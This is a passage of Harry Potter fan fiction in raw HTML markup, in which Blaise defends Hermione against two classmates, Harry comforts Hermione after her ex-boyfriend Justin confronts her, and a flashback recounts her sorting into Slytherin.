leaned\nforward, her eyes giving off dangerous sparks. &quot;I have half a mind to go\ngive them a piece of my mind for putting those thoughts in your head. If you\'re\njinxed then so am I.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione opened\nher mouth to speak but she didn\'t have time for Harry came over to her table,\nsmiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Are you\nready to go, or do you need time to finish your dinner?&quot; he asked, looking\nat her almost full plate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn\'t\nfeel much like eating anyway. &quot;No, I&#8217;m all finished.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Great.&quot;\nHarry said. &quot;Let\'s go read about witches!&quot; he joked and Hermione\nlaughed, waving to Blaise as they walked off together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise smiled\nthoughtfully at the two of them as they left, and then her gaze narrowed in on\ntwo boys still eating at the Gryffindor table. Shoving her unfinished dinner\naside, she stalked over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Dean Thomas\nand Seamus Finnigan, right?&quot; she asked, her brightest smile stretched\nacross her face. Both boys stopped shovelling food in their mouths and gaped at\nher. Seamus had mashed potatoes dripping down his chin, and when Dean smiled\nback at Blaise, he had something green stuck between his teeth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Might I have a\nword with you two, somewhere private?&#8221; she asked, trying to control her\nrevulsion as she lightly traced her index fingers across their shoulders. The\nboys tried to keep from giggling, but they couldn&#8217;t help it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Seamus\nfinally said, and he and Dean got up, both shooting looks at one another. They\nboth thought this must be their lucky night, Blaise Zabini was one of the most\nsought after witches in the school.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just let me\ndo all the talking&quot; Dean said quietly to his friend as Blaise led them\ninto the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why do you\nget to do all the talking?&quot; Seamus asked, a little peeved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Because you\nalways get tongue tied and then you start making an ass out of yourself. That&#8217;s\nwhy.&quot; Dean said confidently.&nbsp;\n&quot;Just let me handle this I know all about women, she\'ll be putty in\nmy hands&quot; He grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean cleared his\nthroat. &quot;So Blaise, can I call you Blaise?&quot; He smiled widely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of\ncourse.&quot; Blaise purred sweetly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean felt more\nconfident now. &quot;You know I was thinking that maybe you and I could spend\nsome time together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All three\nof us?&quot; Blaise asked innocently, pursing her lips and touching a finger to\nher cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, I was\nactually thinking more one on one, if you know what I mean...&quot; Dean\ngrinned and she saw the green piece of food in his teeth again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ugh, what\nin the world.&nbsp; How long has that been\nthere?&quot; Blaise thought to herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">However, she\nforced herself to smile sweetly once more as Dean kept grinning. Seamus stood\nto the side, sulking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So what do\nyou say?&quot; Dean\'s grin was even wider and more foolish looking than before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I say you\nmust be crazy to think I\'m really interested in someone like you!&quot; Blaise\ncouldn\'t keep up her act any longer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean and Seamus\'s\njaws dropped practically to the floor in shock as Blaise raged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How dare\nyou say those things about my best friend today. Don\'t you know she heard every\nword you said? I don\'t think EITHER of you realizes just how bad you hurt\nher!&quot; Blaise nearly screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean and Seamus\nlowered their heads in shame.&nbsp; &quot;We\ndidn\'t mean for you to hear it.&quot; Dean blurted out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\ndoesn\'t make it any better!&quot; Blaise lowered her voice to a hiss. &quot;If\nyou two would just take your eyes and look at her, you\'d realize she\'s the\nfarthest thing from a walking disaster and she\'s a lot better person than\neither of you!&quot; Blaise turned on her heel and began to stalk away, then\nturned back. &quot;By the way...&quot; she added, pointing at Dean. &quot;You\nhave something in your teeth!&quot; Blaise flipped her hair back around and\nflounced away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay, what\nabout Sarah Goode, I know she was convicted of being a witch in 1607, but what\nwas the date of her burning?&quot; Harry asked, flipping through a thick dusty\nbook.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nup. &quot;Try page two hundred fifty six.&quot; She replied. Harry quickly\nturned that to that page, and to his amazement, she was right.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wow! How\ndid you know that?&quot; Harry asked in awe, looking at her with respect.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well I\'m\nreally good with numbers, you know if I went to Monte Carlo I could make a\nfortune.&quot;&nbsp; Hermione grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll keep\nthat in mind.&quot; Harry joked. &quot;Just in case I ever need a loan.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled\nback, then looked down at her parchment. Harry watched her a minute more then\ngot back to work himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They worked\ndiligently for another hour or so, until Harry shut his book with a loud snap.\n&quot;I don\'t know about you, but I can\'t stand looking at one more date!&quot;\nhe said, sitting back in his chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded,\n&quot;So do you want to head back to our dorms or something, I mean it&#8217;s\nonly&#8230;&quot; She looked up at the clock, which said &#8216;Too early to go to bed&#8217;.\n&quot;But if you want to leave its fine.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No... no I\ndon\'t want to leave yet.&quot; Harry said, stretching his arms above his head.\nHermione couldn\'t help but look at his abs, which were exposed as his jumper\nrose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her face flushed\nslightly pink. &quot;All right.&quot; she said, trying to keep her voice from\nsqueaking. &quot;What do you want to do?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just talk,\nI suppose. Get to know each other better. Where did you grow up before you came\nto Hogwarts?&quot; Harry asked pleasantly leaning his arm on the table,\npropping his head up giving her his attention.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He looked so cute\nwith his chin resting on his hand that she nearly couldn\'t answer him.\n&#8220;London.&#8221; Hermione finally answered. &#8220;I lived there all my life until I came\nhere. What about you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Little\nWhinging.&#8221; He said. &#8220;I live with my aunt and uncle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Hermione\nsaid. She knew all about his parents. &#8220;Are they nice?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted.\n&quot;Not really. I don\'t get on with them. They\'re afraid of anything magic,\nand that includes me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I suppose\nyou could get whatever you wanted from them if you just say &#8216;I\'ll curse you if\nyou don&#8217;t.&#8217;&quot; Hermione said, grinning and Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I did that\nfor awhile, after first year, but then they found out that I wasn\'t allowed to\ndo magic outside school so my fun ended.&quot; Harry pouted playfully and\nHermione nearly fell off her chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What are\nyou planning to do after you leave Hogwarts?&quot; she asked, holding on to the\ntable in case he made some other endearing face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well I\nthink everyone expects me to become an Auror or a professional Quidditch\nplayer, but what I\'d really like to do is become an artist.&quot; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Really?&quot;\nHermione looked surprised.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve never\ntold anyone that before.&quot; Harry confessed. &quot;Do you think it sounds\nstupid?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No it\nsounds wonderful.&quot; Hermione replied eagerly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What about\nyou?&quot; Harry asked, looking at her intently. &quot;You strike me as the\ntype to want to work in research, or a medi-wizard.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well I\nsuppose that would be nice, but I\'d really like to be an archaeologist.&quot;\nHermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now you\nsound like me.&quot; Harry teased. &quot;You just turned artist into\narchaeologist.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s mouth\nfell open. &quot;I did not!&quot; she claimed, but she was grinning. &quot;I\'ve\nalways wanted to be an archaeologist! You copied off ME!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s grin got\nwider. &quot;Prove it.&quot; He challenged. They both started laughing when a\nsnide voice interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So, only a\nmonth out of our relationship, and you\'re already hitting on the next guy in\nline.&quot; Justin Finch Fletchley sneered, and Hermione\'s smile disappeared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Go away\nJustin.&quot; Hermione said. &#8220;I don&#8217;t have time to argue with you right now.&#8221;\nShe turned away as if to dismiss him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Justin\'s lip curled\nup. &quot;Don\'t you speak to me like that.&quot; he grabbed her arm and tried\nto pull her up. She yelped in surprise and pain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ow!&quot;\nshe cried. &quot;Leave me alone Justin! Why can\'t you get it through your thick\nhead that I don\'t want to go out with you anymore?&quot; she tried to yank her\narm away but he had too firm a firm grip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In one swift\nmove, Harry leapt across the table. &quot;I believe she asked you to leave her\nalone.&quot; he said darkly, pushing Justin away from Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Justin glared at\nhim, then at Hermione. &quot;This isn\'t over.&quot; he spat, then turned on his\nheel and angrily left the library.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What was\nthat all about?&quot; Harry asked as Hermione sat back down. He took the chair\nnext to her and put his hand on her arm. &quot;Are you all right?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh...he\'s\njust a big jerk that I made the mistake of going out with.&quot; Hermione\nreplied. &quot;He thinks just because he apologised for cheating on me that I\nshould take him back.&quot; Small tears formed in her eyes as she remembered\nhow worthless she felt when Justin had told her what he had done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\nshouldn\'t have to take that kind of treatment from anyone.&quot; Harry said,\nputting a comforting hand on her shoulder. &quot;You\'ll find someone who treats\nyou like you deserve.&quot; His hand moved from her shoulder to her back, where\nhe rubbed it in small, gentle circles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sniffed\nas two tears ran down her cheeks, then without really realising what she was\ndoing, turned and threw her arms around Harry&#8217;s neck. She began to cry hard\ninto his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shhh&#8230;&#8221; Harry\nsaid, continuing to stroke her back softly. He realised just how badly Justin\nhad hurt Hermione, and it was probably the first opportunity she had to let her\nfeelings out. &quot;It\'ll be all right...&quot; he continued to let her cry,\nand after awhile her shoulders stopped shaking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sniffed,\nfeeling better that she finally had a good cry over the situation. Then she\nrealised just what she was doing, and pulled back. &quot;I\'m so sorry!&quot;\nshe gasped, mortified. &quot;I didn\'t mean to lay that on you the way I\ndid.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221;\nHarry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I should\nprobably go back...&quot; Hermione said reluctantly. Her head was spinning now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Uh...yeah\nme too.&quot; Harry said with a tiny smile, hoping that she was feeling better\nnow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both\ngathered their books and walked out together. &quot;Look,&quot; he said as they\nwere about to part. &quot;If you should ever want to talk again, I\'m here\nokay?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221;\nHermione said, giving him a tiny smile. &#8220;I appreciate it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anytime.&#8221; Harry\nreplied. He patted her arm. &#8220;I&#8217;ll see you tomorrow.&#8221; He grinned and went in the\ndirection of Gryffindor Tower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione walked a\nmoment then turned and leaned against the wall, watching him walk up the\nstairs. She wished so hard at that moment she had agreed with the Sorting Hat\nwhen it wanted to put her in Gryffindor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*Flashback*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nup at the train. Since her parents were Muggles, they had had to leave her\noutside the barrier, so she was all alone. She steered her cart over to the\ntrain, narrowly missing a boy who was trying to catch his toad.\n&quot;Sorry!&quot; she called back. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She managed to\nstop her cart before it smashed into the side of the train, and tried to pull\nher trunk off. &quot;Ow!&quot; she cried as it fell down on her big toe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Need some\nhelp?&quot; a voice said from behind her. A boy came around and lifted her\ntrunk. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&quot;Thanks.&quot; Hermione replied. With\nhis help, she was able to push it onto the train. This boy seemed really nice.\n&#8220;I&#8217;m Hermione Granger.&#8221; She said, sticking out her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The boy blinked,\nthen took it. &#8220;Justin Finch Fletchley.&#8221; He replied. &#8220;Nice to meet you.&#8221;\nJustin&#8217;s eyes flickered off to the left. &#8220;I&#8217;ll see you at school&#8230;&#8221; he said,\ndashing off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nswallowed her disappointment and boarded the train. She went down the hallways,\nlooking for a compartment that didn&#8217;t already have tons of people in it.&nbsp; She came across one with the boy she&#8217;d\nalmost run down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you mind if I\nsit here?&#8221; she asked shyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh...uh&#8230;&#8221; the\nboy stuttered. &#8220;Sure.&#8221; He said finally. With relief, Hermione sat down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Hermione\nGranger.&#8221; She introduced herself for the second time that day. She hoped this\ntime her greeting would be better accepted. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ne... Neville\nLongbottom.&#8221; The boy said, trying to keep his toad in his pocket. He was\nunsuccessful, however, and the toad slipped through and hopped out the\ncompartment door. &#8220;Oh no!&#8221; he wailed, running after it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I certainly\nhope he finds it.&#8221; Hermione said quietly to herself as the train started to\nmove. She spent the first hour or so of the journey to read &#8216;Hogwarts, A\nHistory&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a\nfascinating book!&#8221; Hermione said to herself. A rumbling in her stomach\ndistracted her. &#8220;I suppose I should see if there&#8217;s something to eat somewhere.&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Still reading her\nbook, she got up and opened the compartment door. &#8220;Ow!&#8221; she cried. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had\nbumped into a large cart being pushed by a plump witch. Stacks of candy and\nsweets fell off. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am so sorry!&#8221;\nshe cried, flinging her book aside and dropping to her knees to clean up the\nmess.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quite all right\ndear.&#8221; The witch said kindly. Hermione bent her head down and started picking\nup chocolate frogs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oops!&#8221; Another\nvoice broke through her haze of shame. Hermione looked up to see a pretty girl\nwith reddish gold hair helping her. &#8220;Looks like we grabbed the same frog!&#8221; she\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh...yeah.&#8221;\nHermione answered dully. She was so embarrassed. &#8220;Thanks for helping me.&#8221; She\nsaid once they&#8217;d finished and the witch had moved on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; The girl\nsmiled at her again. &#8220;My name is Blaise Zabini, what&#8217;s yours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione\nGranger.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like\nto come sit with me?&#8221; Blaise asked, motioning to her compartment. It was across\nfrom Hermione&#8217;s and down one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;\nHermione asked incredulously. &#8220;You want me to come sit with you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure silly!&#8221;\nBlaise said, tugging on her sleeve. &#8220;Come on!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The rest of the\nride passed by very enjoyably for Hermione. She was so thrilled to have made a\nfriend that she forgot about her earlier troubles with the two boys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what House\nare you hoping to be in?&#8221; Blaise asked as they stepped down from the train.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know I&#8212;\nACK!&#8221; Hermione tripped and nearly fell flat on her face. A couple students\naround her giggled at her. &#8220;Sorry.&#8221; She muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221;\nBlaise said. &#8220;I&#8217;m clumsy sometimes too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn&#8217;t\nthink that was possible. Blaise was almost&#8230;. elegant, especially for an eleven\nyear old.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise helped\nHermione up off the ground,&nbsp; &quot;There\nnow, you\'re all right.&#8221; She smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded\n&quot;Thanks, so what was it you were saying about houses?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well there\nare four house, Gryffindor, Hufflepuff, Ravenclaw and Slytherin.&nbsp; I want to be in Slytherin, both my parents\nwere.&nbsp; They have really good jobs\nnow.&quot; Blaise smiled a bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded,\n&quot;How do you get sorted?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;My mom said\nyou have to fight a dragon, but then my father said you have to swim a mile\nwith the giant squid.&quot; Blaise answered nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hoped it\nwasn\'t as bad as Blaise described. She saw her getting into a boat to go across\nthe lake.&nbsp; She moved to the edge and\nstepped over into it, and the boat started rocking a bit. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh\nno.&quot; Hermione breathed out, as it started rocking back and forth a lot, it\nwas going to tip over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey sit\ndown!&quot; a boy yelled.&nbsp; &quot;You\'re\ngoing to send us all overboard!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Look I\'m\nsorry.&quot; Hermione shouted back, she saw Blaise laughing lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It&#8217;s all\nright Hermione just relax, stand in one spot and just sit down.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise talked her\nthrough it and Hermione managed to sit down without sending everyone into the\nlake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks for\nhelping me back there Blaise.&#8221; Hermione said as she successfully managed to get\noff the boat without rocking it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anything for a\nfriend.&#8221; Blaise replied. Hermione grinned back at her. The two girls went\nthrough the large doors, gaping at everything they saw. A stern middle-aged\nwitch met them at the top of a stairwell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Welcome to\nHogwarts! In a few moments you&#8217;ll be led through these doors to be sorted into\nyour Houses.&#8221; The woman went on to name the four houses and told them to wait\nquietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and\nBlaise looked nervously at one another. They both wondered what they would have\nto do to prove what House they belonged in. Before they could voice their\nthoughts, the woman came back and led them into the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The girl in front\nof Hermione pointed up at the ceiling with a gasp. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not real,\nthe ceiling.&#8221; Hermione told her. &#8220;It&#8217;s bewitched, to look like the night sky.\nYou can read all about it in &#8216;Hogwarts, a History&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They all reached\nthe front of the room where they gathered in a big group. The woman started\ncalling off names. Hermione watched as Draco Malfoy was put in Ravenclaw,\nRonald Weasley in Gryffindor, Susan Bones in Hufflepuff, Neville Longbottom in\nGryffindor, and many others in the various four Houses. Finally it was Blaise&#8217;s\nturn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wish me luck.&#8221;\nShe whispered as she went forward confidently and put the hat on her head. It\nseemed to wriggle around a bit, but after a moment yelled out &#8216;SLYTHERIN!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise hopped off\nthe chair with a large smile and trounced off to the Slytherin table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione\nGranger!&#8221; the woman called out next. Hermione took a deep breath and went up to\nthe front. She sat on the stool and pulled the hat down over her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmmm&#8230;.&#8221; A voice\nsaid in her ear, making her jump. &#8220;What a clever little mind we have here. Very\nsmart, not very cunning, but loyal and lots of bravery. Shy too, I see.\nGryffindor might suit you quite well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No please.&#8221;\nHermione said quietly and desperately. &#8220;I want to be in Slytherin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know if\nthat House would suit you well.&#8221; The hat said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please, I don&#8217;t\nwant to be in Gryffindor I want to be in Slytherin.&#8221; Hermione pressed the\nissue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The hat seemed to\nrelent. &#8220;Only if you&#8217;re sure dear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am.&#8221; Hermione\nsaid. &#8220;I&#8217;m sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Slytherin may\nwind up being good for you&#8230;.&#8221; The hat said, then shouted out &#8220;SLYTHERIN!&#8221; for\nthe whole Hall to hear. Hermione grinned and hopped off the chair and over to\nBlaise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is great!&#8221;\nBlaise whispered. &#8220;Now we can room together, have classes together, we&#8217;ll be\nbest friends!&#8221; ~*~*~*End Flashback*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took a\ndeep sigh as she came to the Slytherin Common Room. She spoke the password and\nwent inside. She briefly considered just going right to bed but she knew Blaise\nwould be waiting to hear about her night in the library with Harry, so she\ndetoured up to the Head Girl&#8217;s room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise? You\nstill up?&#8221; Hermione asked, tapping lightly on the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in!&#8221; Blaise\nreplied as the door swung open. &#8220;So how was it&#8230;what happened?&#8221; she asked,\nseeing her friend&#8217;s tearstained cheeks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat her sourly as she flopped down on the bed. &#8220;The return of Justin, that&#8217;s\nall.&#8221; She said, falling back heavily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh that slimy\ngit!&#8221; Blaise said angrily. &#8220;I have a notion to give him a real piece of my\nmind!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s okay.&#8221;\nHermione gave a half smile, which faded. &#8220;I lost it in front of Harry though,\nbut he was so nice about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise stifled a\nlaugh. &#8220;See, what did I tell you earlier?&#8221; she asked. &#8220;I think he likes you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave her\nanother half smile. &#8220;I doubt it, but he was awfully friendly, and he said I\ncould talk to him anytime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well that&#8217;s\ngreat.&#8221; Blaise said. &#8220;It&#8217;s only the beginning for you guys.&#8221; She said, hugging\nHermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Over in the\nGryffindor Tower, Harry had just entered the boy&#8217;s dormitory. Seamus and Dean\nwere in there, getting in a game of Exploding Snap before going to bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi guys.&#8221; Harry\nsaid tiredly, tossing his books down on the dresser and falling into his bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; the boys\nabandoned their game and came 